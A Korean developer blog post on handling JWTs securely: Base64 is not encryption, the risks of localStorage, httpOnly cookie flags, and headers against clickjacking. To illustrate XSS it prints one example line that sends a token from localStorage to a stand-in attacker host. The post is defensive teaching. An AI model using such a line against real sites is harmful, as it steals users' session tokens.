JWT 토큰을 안전하게 다루기
2026년 1월 30일
JWT를 쓰면서 "어디에 저장하면 안전한가"만 따지는 경우가 많다. 그 전에 JWT가 무엇인지부터 정확히 이해해야 한다.
JWT는 암호화가 아니다
JWT는 세 부분으로 나뉜다. Header, Payload, Signature. 이 중 Header와 Payload는 Base64로 인코딩되어 있다.
Base64는 암호화가 아니다. 형태만 바꾼 것이다. 브라우저 콘솔에서 한 줄이면 원본이 나온다.
인코딩과 encryption은 다르다!
atob("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9");
// '{"alg":"HS256","typ":"JWT"}'
JWT.io에 토큰을 붙여넣기만 해도 Payload 전체가 그대로 보인다. 서명(Signature)은 위변조를 막을 뿐이고, 내용은 누구나 볼 수 있다.
따라서 Payload에 비밀번호, 카드 번호, 개인 식별 정보 같은 민감한 데이터를 넣으면 안 된다.
로컬 스토리지에 저장하면 안 되는 이유
토큰을 localStorage에 저장하는 코드를 흔히 볼 수 있다.
localStorage.setItem("token", jwt);
문제는 localStorage가 자바스크립트로 자유롭게 읽힌다는 점이다. XSS(Cross-Site Scripting) 취약점이 하나라도 있으면 공격자가 심어둔 스크립트가 토큰을 통째로 빼낸다.
// 악성 스크립트 한 줄
fetch("https://attacker.com/steal?token=" + localStorage.getItem("token"));
XSS는 사용자 입력을 그대로 렌더링하거나, 외부 스크립트가 삽입되는 등 다양한 경로로 발생한다. 직접 작성한 코드에 취약점이 없더라도 서드파티 라이브러리 하나가 오염되면 끝이다.
httpOnly 설정
XSS로부터 토큰을 보호하는 가장 확실한 방법은 자바스크립트가 아예 접근하지 못하게 만드는 것이다. 통신 후 헤더를 반환할 때 설정 값에 적용시킨다.
httpOnly 속성이 설정된 쿠키는 브라우저가 HTTP 요청에 자동으로 포함시키지만, document.cookie로 읽을 수 없다. 악성 스크립트가 실행되어도 토큰에 손댈 수 없다.
Set-Cookie: token=<jwt>; HttpOnly; Secure; SameSite=Strict
HttpOnly— 자바스크립트 접근 차단Secure— HTTPS에서만 전송SameSite=Strict— 외부 사이트에서 발생한 요청에는 쿠키를 포함하지 않음 (CSRF 방어)
서버에서 응답 헤더에 이 쿠키를 설정하고, 이후 요청마다 브라우저가 자동으로 포함시킨다. 클라이언트 코드에서 토큰을 직접 다룰 필요가 없다.
클릭재킹과 HTTP 헤더
httpOnly 쿠키로 XSS를 막아도, 클릭재킹(Clickjacking) 이라는 별도의 공격 경로가 있다.
공격자가 자신의 사이트에 투명한 <iframe>으로 내 서비스를 띄워놓고, 사용자가 버튼을 클릭하는 것처럼 보이지만 실제로는 내 서비스의 버튼을 누르게 만드는 방식이다.
이를 막는법은 서버 응답에 헤더를 추가해 외부 사이트가 <iframe>으로 내 페이지를 불러오지 못하게 막을 수 있다.
X-Frame-Options
X-Frame-Options: DENY
DENY는 어떤 경우에도 <iframe> 삽입을 차단한다. SAMEORIGIN은 같은 출처에서만 허용한다.
Content-Security-Policy
Content-Security-Policy: frame-ancestors 'none'
CSP의 frame-ancestors는 X-Frame-Options보다 세밀하게 제어할 수 있다. 특정 출처만 허용하거나, 전체 차단하는 것 모두 가능하다.
요약햐면
- JWT Payload는 누구나 읽을 수 있다. 민감한 정보를 넣지 않는다.
localStorage에 토큰을 저장하면 XSS 한 번에 털린다.httpOnly쿠키에 저장하면 자바스크립트 접근 자체를 차단한다.X-Frame-Options,CSP헤더로 클릭재킹을 막는다.